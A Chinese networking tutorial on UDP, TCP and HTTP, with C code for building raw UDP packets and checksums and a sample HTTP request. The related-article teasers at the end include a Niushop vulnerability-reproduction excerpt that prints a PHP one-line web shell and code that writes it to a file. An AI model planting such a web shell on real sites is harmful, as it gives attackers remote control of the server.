用套接字的UDP,TCP知道什么是HTTP吗?

文章目录

  • UDP和TCP
  • 七层网络架构
  • Omnipeek抓包分析举例
    • 图片备注
    • code
    • 参考code
  • HTTP协议的构成

UDP和TCP

UDP(User Datagram Protocol,用户数据报协议) 和 TCP(Transmission Control Protocol,传输控制协议) 是网络传输层协议
而我们的今天的主角HTTP(HyperText Transfer Protocol,超文本传输协议) 则是应用层协议

七层网络架构

七层网络架构简约描述

Omnipeek抓包分析举例

图片备注

page_0
page_1

code

struct ip_header {
    uint8_t  iph_ihl:4, iph_ver:4;
    uint8_t  iph_tos;
    uint16_t iph_len; // 2
    uint16_t iph_id;
    uint16_t iph_offset;
    uint8_t  iph_ttl;
    uint8_t  iph_protocol;
    uint16_t iph_checksum;
    uint32_t iph_saddr;
    uint32_t iph_daddr;
}__attribute__((__packed__));

struct udp_header {
    uint16_t udp_sport; // 源端口
    uint16_t udp_dport; // 目的端口
    uint16_t udp_len;   // UDP数据包长度
    uint16_t udp_checksum; // UDP校验和
};

// 伪头部结构(UDP校验和计算需要)
struct pseudo_header {
    uint32_t source_address;
    uint32_t dest_address;
    uint8_t placeholder;
    uint8_t protocol;
    uint16_t udp_length;
};

/// 求校验和Function
static uint16_t checksum(void *b, int len) {
    uint16_t *buf = b;
    uint32_t sum = 0;
    uint16_t result;

    // 计算 16 位反码加和
    for (sum = 0; len > 1; len -= 2)
        sum += *buf++;
    if (len == 1)
        sum += *(unsigned char *)buf;
    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    result = ~sum;
    return result;
}

int main(void)
{
	int ret = 0;
	struct sockaddr_in addr;
	
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = inet_addr("192.168.1.1"); ;
	addr.sin_port = htons(0);  // 端口号对原始套接字通常没有意义   无论设置多少,都是会接受所有本地址下的所有端口信息
	
	int socket_raw = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
	ret = bind(socket_raw , (struct sockaddr *)&addr, sizeof (struct sockaddr));
	
	// ……
}

使用原始套接字:发送:需要自己从传输层协议包构造,接受:是从IP包开始的

参考code

	// struct ip_header *ip = (struct ip_header *)packet;
	// ip->iph_ihl = 5;               // IP 头部长度(单位是32位,即4字节)
	// ip->iph_ver = 4;                // 使用 IPv4
	// ip->iph_tos = 0x10;                // 服务类型(低延迟)
	// ip->iph_len = htons(sizeof(struct ip_header) + sizeof(struct udp_header) + snd_len); // IP数据包 总长度 (是包括传输层的数据的)
	// ip->iph_id = htons(54300);      // ID(标识一个数据包 不分段,所以可以随便设置)
	// ip->iph_offset = 0;             // 偏移量(不分段)
	// ip->iph_ttl = 64;               // TTL(最大跳转路由数)
	// ip->iph_protocol = IPPROTO_UDP;  // 协议类型 UDP
	// ip->iph_saddr = inet_addr(OEMINFO_DEFAULT_NET_IP); // 源 IP
	// ip->iph_daddr = cli_addr.sin_addr.s_addr; // 目标 IP 
	// ip->iph_checksum = 0;
	

	// 地址 https://docs.pingcode.com/baike/1281537

	// 填充 UDP 头部
	// struct udp_header *udp = (struct udp_header *)(packet + sizeof(struct ip_header));
	struct udp_header *udp = (struct udp_header *)(packet);
	if (prohdr->cid == 1 || prohdr->cid == 2 || prohdr->cid == 3 || prohdr->cid == 6 || prohdr->cid == 7 || prohdr->cid == 8 || prohdr->cid == 10 || prohdr->cid == 11) {
		udp->udp_sport = htons(OEMINFO_DEFAULT_BASE_PORT);  // 源端口
	} else {
		udp->udp_sport = htons(OEMINFO_DEFAULT_BASE_PORT + 1);  // 源端口
	}
	udp->udp_dport = htons(cli_addr.sin_port);  // 目标端口
	udp->udp_len = htons(sizeof(struct udp_header) + snd_len);  // UDP 数据包长度
	udp->udp_checksum = 0; // 初始值 0,稍后计算 (伪头部、UDP头部、数据部分)

	

	// 伪头部结构 ( 只为计算校验和 ) 
	struct pseudo_header psh;
	psh.source_address = inet_addr(OEMINFO_DEFAULT_NET_IP);
	psh.dest_address = cli_addr.sin_addr.s_addr;
	psh.placeholder = 0; // 占位符
	psh.protocol = IPPROTO_UDP;
	psh.udp_length = htons(sizeof(struct udp_header) + snd_len); // UDP 头 + 数据

	int psize = sizeof(struct pseudo_header) + sizeof(struct udp_header) + snd_len;
	
	// 先填充
	// uint8_t *data = packet + sizeof(struct ip_header) + sizeof(struct udp_header); // 往后挪,移出位置写数据
	uint8_t *data = packet + sizeof(struct udp_header); // 往后挪,移出位置写数据
	memcpy(data, buffer, snd_len);


	// 验证数据是否在数据本该的位置上
	printf("data[0] = %02x, data[1] = %02x, data[2] = %02x, data[3] = %02x\r\n", data[0], data[1], data[2], data[3]);

	pseudo_packet = malloc(psize);
	if (pseudo_packet == NULL) {
		printf("Memory allocation failed\n");
		return;
	}
	memcpy(pseudo_packet, (uint8_t *)&psh, sizeof(struct pseudo_header));
	memcpy(pseudo_packet + sizeof(struct pseudo_header), udp, sizeof(struct udp_header));
	memcpy(pseudo_packet + sizeof(struct pseudo_header) + sizeof(struct udp_header), data, snd_len);

	// 计算 UDP 校验和
	// ip->iph_checksum = checksum(packet, sizeof(struct ip_header)); // IP 头部校验和
	udp->udp_checksum = checksum(pseudo_packet, psize);

	// 后填充数据
	// memcpy(packet, ip, sizeof(struct ip_header)); // 往后挪,移出位置写IP头
	// memcpy(packet + sizeof(struct udp_header), buffer, snd_len); // 往后挪,移出位置写UDP头
	
	
	free(pseudo_packet);
	pseudo_packet = NULL;

	int ret = -1;
	while(ret <= 0) {
		ret =  sendto(sock, packet, sizeof(struct udp_header) + snd_len, 0, (struct sockaddr *)&cli_addr, addr_len);
	}
	if (ret > 0) {
		printf("send success ,send size is %d\r\n", ret);
	}
	memset(packet, 0, sizeof(packet));

HTTP协议的构成

HTTP包,即HTTP报文,是HTTP协议中传输数据的基本单位。

结构: 头 \r\n\r\n 正文
栗子:

POST http://example.com/upload HTTP/1.0
Host: example.com
Accept-Encoding: ''
Content-Type: image/jpeg
Content-Length: 10240
deviceId: 1234567890
deviceToken: abcdefg
action: start
sid: 123
stream: 1

同下:

uint8_t http_uri[1024] = {0};
sprintf(http_uri, "POST %s HTTP/1.0\r\nHost: %s\r\nAccept-Encoding: ''\r\nContent-Type: image/jpeg\r\nContent-Length: %d\r\n"
						"deviceId: %s\r\ndeviceToken: %s\r\naction: start\r\nsid: %d\r\nstream: 1\r\n\r\n", ……);

先到这,关注一下,下一节继续讲HTTP~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/941818.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Apache Log4j漏洞复现

所用环境 宝塔云服务器 log4j2 是Apache的⼀个java日志框架&#xff0c;我们借助它进行日志相关操作管理&#xff0c;然而在2021年末log4j2爆出了远程代码执行漏洞&#xff0c;属于严重等级的漏洞。 apache log4j通过定义每⼀条日志信息的级别能够更加细致地控制日志⽣成地过…

苍穹外卖-day05redis 缓存的学习

苍穹外卖-day05 课程内容 Redis入门Redis数据类型Redis常用命令在Java中操作Redis店铺营业状态设置 学习目标 了解Redis的作用和安装过程 掌握Redis常用的数据类型 掌握Redis常用命令的使用 能够使用Spring Data Redis相关API操作Redis 能够开发店铺营业状态功能代码 功能实…

CV-OCR经典论文解读|An Empirical Study of Scaling Law for OCR/OCR 缩放定律的实证研究

论文标题 An Empirical Study of Scaling Law for OCR OCR 缩放定律的实证研究 论文链接&#xff1a; An Empirical Study of Scaling Law for OCR论文下载 论文作者 Miao Rang, Zhenni Bi, Chuanjian Liu, Yunhe Wang, Kai Han 内容简介 本论文在光学字符识别&#xf…

PTA数据结构题目:链表操作集合

寻找结点 插入结点 错误分析 while (prev ! NULL && prev->Next ! P) 为什么我写成 while (prev->Next ! P && prev ! NULL) 的时候会发生段错误&#xff0c;这两种写法逻辑上不是一样的吗&#xff1f; 野指针 逻辑顺序导致的潜在风险 在 C 语言中&am…

路由器做WPAD、VPN、透明代理中之间一个

本文章将采用家中TP-Link路由器 路由器进行配置DNS DNS理解知识本文DNS描述参考&#xff1a;网络安全基础知识&中间件简单介绍_计算机网络中间件-CSDN博客 TP LINK未知的错误&#xff0c;错误编号&#xff1a;-22025 TP-LINK 认证界面地址&#xff1a;https://realnam…

Java 小白入门必备知识点

11.我们发现现在有两个x&#xff0c;一个是成员变量&#xff0c;一个是局部变量&#xff0c;在sum方法中为了区分两个s&#xff0c;我们给成员变量前加上this以此来区分成员变量和局部变量 12.成员方法:在java中&#xff0c;必须通过方法才能完成对类和对象的属性操作&#xf…

gitlab代码推送

点击这个√ 修改的文件全部选上 填好提交的名称 点击commit 选取提交的 gitlab 库 点击Push

vscode添加全局宏定义

利用vscode编辑代码时&#xff0c;设置了禁用非活动区域着色后&#xff0c;在一些编译脚本中配置的宏又识别不了 遇到#ifdef包住的代码就会变暗色&#xff0c;想查看代码不是很方便。如下图&#xff1a; 一 解决&#xff1a; 在vscode中添加全局宏定义。 二 步骤&#xff1a…

【电路设计】LDO旁路电容的选择

本文章是笔者整理的备忘笔记。希望在帮助自己温习避免遗忘的同时&#xff0c;也能帮助其他需要参考的朋友。如有谬误&#xff0c;欢迎大家进行指正。 一、引言 虽然人们普遍认为电容是解决噪声相关问题的灵丹妙药&#xff0c;但是电容的价值并不仅限于此。设计人员常常只想到…

生产看板管理系统涵盖哪些方面

嘿&#xff0c;各位搞生产管理的朋友&#xff0c;肯定都碰到过些麻烦事儿吧。我就寻思着&#xff0c;能不能弄出个 “明明白白” 的工作场地呢&#xff1f;让员工和管理人员都能随时查查生产进度&#xff0c;一发现生产里有啥问题就能立马知道。 生产进度不好追踪生产过程不清…

Python|Pyppeteer实现全自动化触发reCaptcha验证码(28)

前言 本文是该专栏的第28篇,结合优质项目案例持续分享Pyppeteer的干货知识,记得关注。 针对近期多位同学,询问如何自动化触发“reCaptcha验证码”的问题。笔者在本文,将结合实战项目完整代码进行详细说明。 对“reCaptcha验证码”感兴趣的同学,千万别错过。 废话不多说,…

SpringBoot介绍以及基本注解和应用

一.Spring Boot 简介&#xff08;脚手架&#xff09; 1.简介 简化Spring应用开发的一个框架&#xff1b; 整个Spring技术栈的一个大整合&#xff1b; J2EE开发的一站式解决方案&#xff1b; 优点&#xff1a;快速创建独立运行的spring项目以及与主流框架集成 使用嵌入式的S…

Niushop开源商城(漏洞复现)

文件上传漏洞 注册一个账号后登录 在个人中心修改个人头像 选择我们的图片马 #一句话(不想麻烦的选择一句话也可以) <?php eval($_POST["cmd"]);?> #生成h.php文件 <?php fputs(fopen(h.php,w),<?php eval($_POST["cmd"]);?>); ?&…

容器技术所涉及Linux内核关键技术

容器技术所涉及Linux内核关键技术 一、容器技术前世今生 1.1 1979年 — chroot 容器技术的概念可以追溯到1979年的UNIX chroot。它是一套“UNIX操作系统”系统&#xff0c;旨在将其root目录及其它子目录变更至文件系统内的新位置&#xff0c;且只接受特定进程的访问。这项功…

攻防世界 web view_source

开启场景 右键用不了就 F12 试试&#xff0c;然后看见了 flag cyberpeace{62caa734bc21cc4f9dc97ece9a882cd3}

如何保护你的 iOS 应用免受逆向工程攻击

逆向工程是分析和解构软件以理解其工作原理的过程。针对 iOS 应用&#xff0c;逆向工程通常涉及分析已编译的二进制文件&#xff08;机器可读的代码&#xff09;&#xff0c;并将其转化为更容易被人类理解的形式。这使得攻击者能够检查应用的逻辑、理解数据处理的方式&#xff…

C++进阶(二)--面向对象--继承

目录 一、继承的概念及定义 1.继承的概念 2.继承的定义 定义格式 继承方式和访问限定符 继承基类成员访问⽅式的变化 3.继承类模板 二、基类和派生类对象赋值转换 三、继承中的作用域 四、派⽣类的默认成员函数 五、继承与友元 六、继承与静态成员 七、多继承及其…

STM32串口第一次接收数据时第一个字节丢失的问题

解决方法&#xff1a;开启中断之前&#xff0c;先清除标志位【1】。 串口清除标志位&#xff1a; __HAL_UART_CLEAR_PEFLAG(&huart1); HAL_UART_Receive_IT(&huart1,&RxUart, 1); 定时器清除标志位&#xff1a; __HAL_TIM_CLEAR_FLAG(&htim3,TIM_FLAG_UPDATE);…

为什么要用云电脑玩游戏?5大好处揭秘,ToDesk云机性能强又易用

电脑在人们日常的工作与生活中无疑是颇为重要的。无论是学生撰写论文报告、企业白领处理数据图形等事项&#xff0c;还是游戏迷、影视迷们畅玩游戏或观看视频都难免要经常用到。拥有一台性能配置优质并且内置软件全面的电脑&#xff0c;对各类群体来说都大有益处&#xff0c;尤…

深入理解批量归一化(BN):原理、缺陷与跨小批量归一化(CBN)

在训练深度神经网络时&#xff0c;批量归一化&#xff08;Batch Normalization&#xff0c;简称BN&#xff09;是一种常用且有效的技术&#xff0c;它帮助解决了深度学习中训练过程中的梯度消失、梯度爆炸和训练不稳定等。然而&#xff0c;BN也有一些局限性&#xff0c;特别是在…